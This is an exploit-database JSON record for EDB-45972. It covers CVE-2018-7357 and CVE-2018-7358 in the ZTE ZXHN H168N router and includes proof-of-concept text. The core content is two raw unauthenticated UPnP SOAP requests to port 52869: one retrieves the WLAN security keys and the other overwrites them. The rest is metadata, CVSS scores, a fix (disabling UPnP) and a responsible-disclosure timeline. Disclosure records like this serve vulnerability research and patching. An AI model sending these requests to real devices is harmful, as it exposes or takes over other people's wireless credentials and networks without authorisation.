{"exploit":{"id":"EDB-45972","name":"ZTE ZXHN H168N - Improper Access Restrictions","description":"ZTE ZXHN H168N - Improper Access Restrictions","cves":["CVE-2018-7358","CVE-2018-7357"],"author":"Usman Saeed","published":"2018-12-11","platform":"hardware","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/45972","path":"exploits/hardware/webapps/45972.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-45972.txt","vulnerabilities":[{"id":"CVE-2018-7358","state":"PUBLISHED","title":null,"titleSource":null,"description":"ZTE ZXHN H168N product with versions V2.2.0_PK1.2T5, V2.2.0_PK1.2T2, V2.2.0_PK11T7 and V2.2.0_PK11T have an improper change control vulnerability, which may allow an unauthorized user to perform unauthorized operations.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2018-7358","cvss":{"version":"3.0","baseScore":6.5,"severity":"medium","vectorString":"CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","source":"zte","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2018-7358"},"updatedAt":"2024-08-05T06:24:11.858Z","retrievedAt":"2026-11-26T12:12:10.481Z","stale":false,"error":null},{"id":"CVE-2018-7357","state":"PUBLISHED","title":null,"titleSource":null,"description":"ZTE ZXHN H168N product with versions V2.2.0_PK1.2T5, V2.2.0_PK1.2T2, V2.2.0_PK11T7 and V2.2.0_PK11T have an improper access control vulnerability, which may allow an unauthorized user to gain unauthorized access.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2018-7357","cvss":{"version":"3.0","baseScore":6.5,"severity":"medium","vectorString":"CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","source":"zte","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2018-7357"},"updatedAt":"2024-08-05T06:24:12.002Z","retrievedAt":"2026-11-26T12:12:10.484Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-45972.png?v=2","url":"https://exploitbin.com/exploits/EDB-45972","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-45972/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-45972/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"[*] POC: (CVE-2018-7357 and CVE-2018-7358)\n\nDisclaimer: [This POC is for Educational Purposes , I would Not be\nresponsible for any misuse of the information mentioned in this blog post]\n\n[+] Unauthenticated\n\n[+] Author: Usman Saeed (usman [at] xc0re.net)\n\n[+] Protocol: UPnP\n\n[+] Affected Harware/Software:\n\nModel name: ZXHN H168N v2.2\nBuild Timestamp: 20171127193202\nSoftware Version: V2.2.0_PK1.2T5\n[+] Findings:\n\n1. Unauthenticated access to WLAN password:\n\nPOST /control/igd/wlanc_1_1 HTTP/1.1\nHost: <IP>:52869\nUser-Agent: {omitted}\nContent-Length: 288\nConnection: close\nContent-Type: text/xml; charset=”utf-8″\nSOAPACTION: “urn:dslforum-org:service:WLANConfiguration:1#GetSecurityKeys” 1\n<?xml version=”1.0″ encoding=”utf-8″?>\n<s:Envelope xmlns:s=”http://schemas.xmlsoap.org/soap/envelope/” s:encodingStyle=”http://schemas.xmlsoap.org/soap/encoding/”><s:Body><u:GetSecurityKeys xmlns:u=”urn:dslforum-org:service:WLANConfiguration:1″></u:GetSecurityKeys></s:Body></s:Envelope>\n\n2. Unauthenticated WLAN passphrase change:\n\nPOST /control/igd/wlanc_1_1 HTTP/1.1\nHost: <IP>:52869\nUser-Agent: {omitted}\nContent-Length: 496\nConnection: close\nContent-Type: text/xml; charset=”utf-8″\nSOAPACTION: “urn:dslforum-org:service:WLANConfiguration:1#SetSecurityKeys”\n<?xml version=”1.0″ encoding=”utf-8″?>\n<s:Envelope xmlns:s=”http://schemas.xmlsoap.org/soap/envelope/” s:encodingStyle=”http://schemas.xmlsoap.org/soap/encoding/”><s:Body><u:SetSecurityKeys xmlns:u=”urn:dslforum-org:service:WLANConfiguration:1″><NewWEPKey0>{omitted}</NewWEPKey0><NewWEPKey1>{omitted}</NewWEPKey1><NewWEPKey2>{omitted}</NewWEPKey2><NewWEPKey3>{omitted}</NewWEPKey3><NewPreSharedKey>{omitted}</NewPreSharedKey><NewKeyPassphrase>{omitted}</NewKeyPassphrase></u:SetSecurityKeys></s:Body></s:Envelope>\n[*] Solution:\n\nUPnP should not provide excessive services, and if the fix is not possible, then UPnP should be disabled on the affected devices.\n\n[*] Note:\n\nThere are other services which should not be published over UPnP, which are not mentioned in this blog post, as the solution is the same.\n\n[+] Responsible Disclosure:\n\nVulnerabilities identified – 20 August, 2018\nReported to ZTE – 28 August, 2018\nZTE official statement – 17 September 2018\nZTE patched the vulnerability – 12 November 2018\nThe operator pushed the update – 12 November 2018\nCVE published – Later\nPublic disclosure – 12 November 2018\nRef: http://support.zte.com.cn/support/news/LoopholeInfoDetail.aspx?newsId=1009522","sha256":"d32c61036302cf6f71e7bf6f300bdcedb7052df2ed3a768e324db4745978eb05","bytes":2525,"fetchedAt":"2026-11-26T20:07:29.939Z","encoding":"utf-8 (display only; download retains original bytes)"}